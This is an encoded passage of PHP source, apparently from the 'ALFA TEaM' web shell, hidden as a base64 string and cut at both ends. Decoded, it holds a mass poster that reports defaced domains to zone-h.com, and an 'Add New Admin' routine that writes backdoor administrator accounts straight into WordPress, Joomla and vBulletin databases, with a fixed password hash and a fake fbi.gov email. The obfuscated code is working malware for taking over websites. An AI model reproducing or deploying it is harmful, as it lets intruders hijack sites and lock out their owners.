JkIGd1ZXNzaW5nJywnUmVtb3RlIHNlcnZpY2UgcGFzc3dvcmQgYnJ1dGVmb3JjZScsJ1Jlcm91dGluZyBhZnRlciBhdHRhY2tpbmcgdGhlIEZpcmV3YWxsJywnUmVyb3V0aW5nIGFmdGVyIGF0dGFja2luZyB0aGUgUm91dGVyJywnRE5TIGF0dGFjayB0aHJvdWdoIHNvY2lhbCBlbmdpbmVlcmluZycsJ0ROUyBhdHRhY2sgdGhyb3VnaCBjYWNoZSBwb2lzb25pbmcnLCdOb3QgYXZhaWxhYmxlJywnQ3Jvc3MtU2l0ZSBTY3JpcHRpbmcnKTsKJHJlYXNvbiA9IGFycmF5KCdIZWguLi5qdXN0IGZvciBmdW4hJywnUmV2ZW5nZSBhZ2FpbnN0IHRoYXQgd2Vic2l0ZScsJ1BvbGl0aWNhbCByZWFzb25zJywnQXMgYSBjaGFsbGVuZ2UnLCdJIGp1c3Qgd2FudCB0byBiZSB0aGUgYmVzdCBkZWZhY2VyJywnUGF0cmlvdGlzbScsJ05vdCBhdmFpbGFibGUnKTsKZWNobyAnCjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFpvbmUtaCBNYXNzIFBvc3RlciB8PC9kaXY+PGNlbnRlcj48YnI+Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJnKFwnem9uZWhcJyxudWxsLHRoaXMuZGVmYWNlci52YWx1ZSx0aGlzLmhhY2ttb2RlLnZhbHVlLHRoaXMucmVhc29uLnZhbHVlLHRoaXMuZG9tYWluLnZhbHVlLFwnPj5cJyk7IHJldHVybiBmYWxzZTsiPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGVmYWNlciIgc2l6ZT0iNjciIGlkPSJ0ZXh0IiBwbGFjZWhvbGRlcj0iQUxGQSBURWFNIDIwMTIiIC8+Cjxicj4KPHNlbGVjdCBpZD0idGV4dCIgbmFtZT0iaGFja21vZGUiIHN0eWxlPSJ3aWR0aDo0MDBweDsiPic7CiR4PTE7CmZvcmVhY2goJGhhY2ttb2RlIGFzICRtb2RlKXtlY2hvKCc8b3B0aW9uIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoRiwgRiwgRik7IiB2YWx1ZT0iJy4keC4nIj4nLiRtb2RlLic8L29wdGlvbj4nKTskeCsrO30KZWNobyAnPC9zZWxlY3Q+PGJyPjxzZWxlY3QgaWQ9InRleHQiIG5hbWU9InJlYXNvbiIgc3R5bGU9IndpZHRoOjIwMHB4OyI+JzsKJHg9MTsKZm9yZWFjaCgkcmVhc29uIGFzICRtb2RlKXtlY2hvKCc8b3B0aW9uIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoRiwgRiwgRik7IiB2YWx1ZT0iJy4keC4nIj4nLiRtb2RlLic8L29wdGlvbj4nKTskeCsrO30KZWNobyAnPC9zZWxlY3Q+PGJyPgo8dGV4dGFyZWEgbmFtZT0iZG9tYWluIiBjb2xzPSI5MCIgcm93cz0iMjAiIHBsYWNlaG9sZGVyPSJEb21haW5zLi4uIj48L3RleHRhcmVhPjxicj4KPHA+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9ImdvIiAvPjwvcD4KPC9mb3JtPjwvY2VudGVyPic7CmlmKCRfUE9TVFsnYWxmYTUnXSAmJiAkX1BPU1RbJ2FsZmE1J10gPT0gJz4+Jyl7Cm9iX3N0YXJ0KCk7CiRoYWNrZXIgPSAkX1BPU1RbJ2FsZmExJ107CiRtZXRob2QgPSAkX1BPU1RbJ2FsZmEyJ107CiRuZWRlbiA9ICRfUE9TVFsnYWxmYTMnXTsKJHNpdGUgPSAkX1BPU1RbJ2FsZmE0J107CmlmKGVtcHR5KCRoYWNrZXIpKXsKZGllIChfX3ByZSgpLiI8Y2VudGVyPjxiPjxmb250IGNvbG9yID1cIiNGRjAwMDBcIj5bK10gWU9VIE1VU1QgRklMTCBUSEUgQVRUQUNLRVIgTkFNRSBbK108L2ZvbnQ+PC9iPjwvY2VudGVyPiIpOwp9ZWxzZWlmKCRtZXRob2QgPT0gIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVNFTEVDVC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iKXsKZGllKF9fcHJlKCkuIjxjZW50ZXI+PGI+PGZvbnQgY29sb3IgPVwiI0ZGMDAwMFwiPlsrXSBZT1UgTVVTVCBTRUxFQ1QgVEhFIE1FVEhPRCBbK108L2I+PC9mb250PjwvY2VudGVyPiIpOwp9ZWxzZWlmKCRuZWRlbiA9PSAiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tU0VMRUNULS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIpewpkaWUoX19wcmUoKS4iPGNlbnRlcj48Yj48Zm9udCBjb2xvciA9XCIjRkYwMDAwXCI+WytdIFlPVSBNVVNUIFNFTEVDVCBUSEUgUkVBU09OIFsrXTwvYj48L2ZvbnQ+PC9jZW50ZXI+Iik7Cn1lbHNlaWYoZW1wdHkoJHNpdGUpKXsKZGllKF9fcHJlKCkuIjxjZW50ZXI+PGI+PGZvbnQgY29sb3IgPVwiI0ZGMDAwMFwiPlsrXSBZT1UgTVVTVCBJTlRFUiBUSEUgU0lURVMgTElTVCBbK108Zm9udD48L2I+PC9jZW50ZXI+Iik7Cn0KJGkgPSAwOwokc2l0ZXMgPSBleHBsb2RlKCJcbiIsICRzaXRlKTsKJGFsZmEgPSBuZXcgQWxmYUNVUkwoKTsKd2hpbGUoJGkgPCBjb3VudCgkc2l0ZXMpKXsKaWYoc3Vic3RyKCRzaXRlc1skaV0sIDAsIDQpICE9ICJodHRwIil7CiRzaXRlc1skaV0gPSAiaHR0cDovLyIuJHNpdGVzWyRpXTsKfQokYWxmYS0+U2VuZCgiaHR0cDovL3d3dy56b25lLWguY29tL25vdGlmeS9zaW5nbGUiLCJwb3N0IiwiZGVmYWNlcj0iLiRoYWNrZXIuIiZkb21haW4xPSIuICRzaXRlc1skaV0uIiZoYWNrbW9kZT0iLiRtZXRob2QuIiZyZWFzb249Ii4kbmVkZW4pOworKyRpOwp9CmVjaG8gX19wcmUoKS4iPGNlbnRlcj48Zm9udCBjb2xvciA9XCIjMDBBMjIwXCI+PGI+WytdIFNlbmRpbmcgU2l0ZXMgVG8gWm9uZS1IIEhhcyBCZWVuIENvbXBsZXRlZCBTdWNjZXNzZnVsbHkgISEhWytdPC9iPjxmb250PjwvY2VudGVyPiI7Cn0KZWNobyAiPC9kaXY+IjsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmFwd2NoYW5nZXIoKXsKYWxmYWhlYWQoKTsKCmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEFkZCBOZXcgQWRtaW4gfDwvZGl2Pgo8Y2VudGVyPjxoMz4nOwokdmFscyA9IGFycmF5KCdXb3JkUHJlc3MnID0+IGFycmF5KCd3cCcsMiksJ0pvb21sYScgPT4gYXJyYXkoJ2pvb21sYScsMyksJ3ZCdWxsZXRpbicgPT4gYXJyYXkoJ3ZiJyw1KSwncGhwQkInID0+IGFycmF5KCdwaHBiYicsNiksJ1dITUNTJyA9PiBhcnJheSgnd2htY3MnLDcpLCdNeUJCJyA9PiBhcnJheSgnbXliYicsOCksJ1BocCBOdWtlJyA9PiBhcnJheSgnbnVrZScsOSksJ0RydXBhbCcgPT4gYXJyYXkoJ2RydXBhbCcsMTApLCdTTUYnID0+IGFycmF5KCdzbWYnLDExKSk7CkFsZmFfQ3JlYXRlX0FfVGFnKCdwd2NoYW5nZXInLCR2YWxzKTsKZWNobyAnPC9oMz48L2NlbnRlcj4nOwppZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pJiYkX1BPU1RbJ2FsZmExJ109PSd3cCcpewoKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgV29yZFByZXNzIHw8L2Rpdj4KPHA+Jy5nZXRDb25maWdIdG1sKCd3cCcpLic8L3A+PGZvcm0gb25TdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnd3BcJyxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCx0aGlzLmFkbWluLnZhbHVlLHRoaXMuZW1haWwudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUpO3JldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+JzsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywnaWQnPT4nZGJfaG9zdCcsICdpbnB1dE5hbWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBOYW1lJywgJ2lkJz0+J2RiX25hbWUnLCdpbnB1dE5hbWUnID0+ICdkYXRhYmFzZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQzJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0TmFtZScgPT4gJ3VzZXJuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0TmFtZScgPT4gJ3Bhc3N3b3JkJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDUnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVGFibGUgUHJlZml4JywgJ2lkJz0+J2RiX3ByZWZpeCcsJ2lucHV0TmFtZScgPT4gJ3ByZWZpeCcsICdpbnB1dFZhbHVlJyA9PiAnd3BfJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ2JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2FkbWluJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ3JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAna2gnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwKICd0ZDgnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlQGZiaS5nb3YnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+JzsKaWYgKCRfUE9TVFsnYWxmYTInXSAmJiAkX1BPU1RbJ2FsZmEyJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEzJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTQnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNSddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107CiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsKJFNRTCA9ICRfUE9TVFsnYWxmYTknXTsKJHByZWZpeCA9ICRfUE9TVFsnYWxmYTEwJ107CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJzIChJRCx1c2VyX2xvZ2luLHVzZXJfcGFzcyx1c2VyX2VtYWlsKSB2YWx1ZXMobnVsbCwnJGFkbWluJywnZDRhNTkwY2FhY2MwYmU1NWVmMjg2ZTQwYTk0NWVhNDUnLCckU1FMJykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgSUQgZnJvbSAiLiRwcmVmaXguInVzZXJzIHdoZXJlIHVzZXJfbG9naW49JyIuJGFkbWluLiInIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokc29sZSA9IEBteXNxbGlfbnVtX3Jvd3MoJHNvbGV2aXNpYmxlKTsKaWYgKCRzb2xlID09IDEpewokc29sZXZpcyA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHNvbGV2aXNpYmxlKTsKJHJlcyA9ICRzb2xldmlzWydJRCddOwp9CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJtZXRhICh1bWV0YV9pZCx1c2VyX2lkLG1ldGFfa2V5LG1ldGFfdmFsdWUpIHZhbHVlcyhudWxsLCciLiRyZXMuIicsJ2ZpcnN0X25hbWUnLCdzb2xldmlzaWJsZScpLChudWxsLCciLiRyZXMuIicsJ2xhc3RfbmFtZScsJ3NvbGV2aXNpYmxlJyksKG51bGwsJyIuJHJlcy4iJywnbmlja25hbWUnLCdzb2xldmlzaWJsZScpLChudWxsLCciLiRyZXMuIicsJ2Rlc2NyaXB0aW9uJywnc29sZXZpc2libGUnKSwobnVsbCwnIi4kcmVzLiInLCdyaWNoX2VkaXRpbmcnLCd0cnVlJyksKG51bGwsJyIuJHJlcy4iJywnY29tbWVudF9zaG9ydGN1dHMnLCdmYWxzZScpLChudWxsLCciLiRyZXMuIicsJ2FkbWluX2NvbG9yJywnZnJlc2gnKSwobnVsbCwnIi4kcmVzLiInLCd1c2Vfc3NsJywnMCcpLChudWxsLCciLiRyZXMuIicsJ3Nob3dfYWRtaW5fYmFyX2Zyb250JywndHJ1ZScpLChudWxsLCciLiRyZXMuIicsJyIuJHByZWZpeC4iY2FwYWJpbGl0aWVzJywnYToxOntzOjEzOlwiYWRtaW5pc3RyYXRvclwiO2I6MTt9JyksKG51bGwsJyIuJHJlcy4iJywnIi4kcHJlZml4LiJ1c2VyX2xldmVsJywnMTAnKSwobnVsbCwnIi4kcmVzLiInLCdzaG93X3dlbGNvbWVfcGFuZWwnLCcxJyksKG51bGwsJyIuJHJlcy4iJywnIi4kcHJlZml4LiJkYXNoYm9hcmRfcXVpY2tfcHJlc3NfbGFzdF9wb3N0X2lkJywnMycpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwppZigkc29sZXZpc2libGUpewpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30KfQp9CmlmKCRfUE9TVFsnYWxmYTInXSAmJiAkX1BPU1RbJ2FsZmEyJ10gPT0gJ2pvb21sYScpewoKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgSm9vbWxhIHw8L2Rpdj48cD48cD4nLmdldENvbmZpZ0h0bWwoJ2pvb21sYScpLic8L3A+PGZvcm0gb25TdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnPj5cJyxcJ2pvb21sYVwnLHRoaXMubG9jYWxob3N0LnZhbHVlLHRoaXMuZGF0YWJhc2UudmFsdWUsdGhpcy51c2VybmFtZS52YWx1ZSx0aGlzLnBhc3N3b3JkLnZhbHVlLG51bGwsdGhpcy5hZG1pbi52YWx1ZSx0aGlzLmVtYWlsLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJ2pvc18nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDYnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gVXNlcicsICdpbnB1dE5hbWUnID0+ICdhZG1pbicsICdpbnB1dFZhbHVlJyA9PiAnYWRtaW4nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDcnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gUGFzcycsICdpbnB1dE5hbWUnID0+ICd0b2Z0b2YnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwKICd0ZDgnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlQGZiaS5nb3YnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKaWYgKCRfUE9TVFsnYWxmYTEnXSAmJiAkX1BPU1RbJ2FsZmExJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEzJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTQnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNSddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107CiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsKJFNRTCA9ICRfUE9TVFsnYWxmYTknXTsKJHByZWZpeCA9ICRfUE9TVFsnYWxmYTEwJ107CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJzIChpZCxuYW1lLHVzZXJuYW1lLGVtYWlsLHBhc3N3b3JkKSB2YWx1ZXMobnVsbCwnU3VwZXIgVXNlcicsJyIuJGFkbWluLiInLCciLiRTUUwuIicsJ2Q0YTU5MGNhYWNjMGJlNTVlZjI4NmU0MGE5NDVlYTQ1JykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgaWQgZnJvbSAiLiRwcmVmaXguInVzZXJzIHdoZXJlIHVzZXJuYW1lPSciLiRhZG1pbi4iJyIpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHNvbGUgPUBteXNxbGlfbnVtX3Jvd3MoJHNvbGV2aXNpYmxlKTsKaWYgKCRzb2xlID09IDEpewokc29sZXZpcyA9QG15c3FsaV9mZXRjaF9hc3NvYygkc29sZXZpc2libGUpOwokcmVzID0gJHNvbGV2aXNbJ2lkJ107Cn0KJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sIklOU0VSVCBJTlRPICIuJHByZWZpeC4idXNlcl91c2VyZ3JvdXBfbWFwICh1c2VyX2lkLGdyb3VwX2lkKSBWQUxVRVMgKCciLiRyZXMuIicsICc4JykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKCRzb2xldmlzaWJsZSl7Cl9fYWxlcnQoJ1N1Y2Nlc3MuLi4gJy4kYWRtaW4uJyBpcyBjcmVhdGVkLi4uJyk7fQp9Cn0KaWYoJF9QT1NUWydhbGZhNCddICYmICRfUE9TVFsnYWxmYTQnXSA9PSAndmInKXsKCmVjaG8gX19wcmUoKS4nPGNlbnRlcj48Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IHZCdWxsZXRpbiB8PGRpdj48cD4nLmdldENvbmZpZ0h0bWwoJ3ZiJykuJzwvcD48Zm9ybSBvblN1Ym1pdD0iZyhcJ3B3Y2hhbmdlclwnLG51bGwsXCc+PlwnLHRoaXMubG9jYWxob3N0LnZhbHVlLHRoaXMuZGF0YWJhc2UudmFsdWUsXCd2YlwnLHRoaXMudXNlcm5hbWUudmFsdWUsdGhpcy5wYXNzd29yZC52YWx1ZSx0aGlzLnByZWZpeC52YWx1ZSx0aGlzLmFkbWluLnZhbHVlLHRoaXMuZW1haWwudmFsdWUpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpZCc9PidkYl9ob3N0JywnaW5wdXROYW1lJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpZCc9PidkYl9uYW1lJywnaW5wdXROYW1lJyA9PiAnZGF0YWJhc2UnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dE5hbWUnID0+ICdwYXNzd29yZCcsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1RhYmxlIFByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdhZG1pbicsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ2hpJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZScsICdpbnB1dFNpemUnID0+ICc1MCcsICdkaXNhYmxlZCcgPT4gdHJ1ZSksCiAndGQ4JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIEVtYWlsJywgJ2lucHV0TmFtZScgPT4gJ2VtYWlsJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZUBmYmkuZ292JywgJ2lucHV0U2l6ZScgPT4gJzUwJykKKTsKY3JlYXRlX3RhYmxlKCR0YWJsZSk7CmVjaG8gJzxwPjxpbnB1dCB2YWx1ZT0iICIgbmFtZT0ic2VuZCIgdHlwZT0ic3VibWl0Ij48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmKCRfUE9TVFsnYWxmYTEnXSAmJiAkX1BPU1RbJ2FsZmExJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEyJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTMnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNSddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107CiRwcmVmaXggPSAkX1BPU1RbJ2FsZmE3J107CiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsKJFNRTCA9ICRfUE9TVFsnYWxmYTknXTsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfY29ubmVjdF9lcnJvcigpKTsKJHB3X2NvbCA9IEBteXNxbGlfY29ubmVjdCgiU0VMRUNUIGNvbHVtbl9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZSA9ICd7JHByZWZpeH11c2VyJyBhbmQgY29sdW1uX25hbWUgPSAncGFzc3dvcmQnIGFuZCB0YWJsZV9zY2hlbWEgPSAneyRkYXRhYmFzZX0nIik7CiRwd19jb2wgPSBAbXlzcWxpX251bV9yb3dzKCRwd19jb2wpOwokYWRtX3Blcm0gPSAiMTY3NDQ0NDQiOwppZigkcHdfY29sID4gMCl7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byB7JHByZWZpeH11c2VyICh1c2VyaWQsdXNlcmdyb3VwaWQsdXNlcm5hbWUscGFzc3dvcmQsc2FsdCxlbWFpbCxwYXNzd29yZGRhdGUsam9pbmRhdGUpIHZhbHVlcyhudWxsLCc2JywnJGFkbWluJywnNTJlMjhiNzhmNTU2NDFjZDQ2MThhZDFhMjBmNWZkNWMnLCdYd3xJYkdMaFRRQS1Bd0FwVnY+NjF5Xih6XSo8UU4nLCckU1FMJywnIi5kYXRlKCdZLW0tZCcpLiInLCciLnRpbWUoKS4iJykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7Cn1lbHNlewokYWRtX3Blcm0gPSAiMjE0MzI1NjQ0NCI7Ci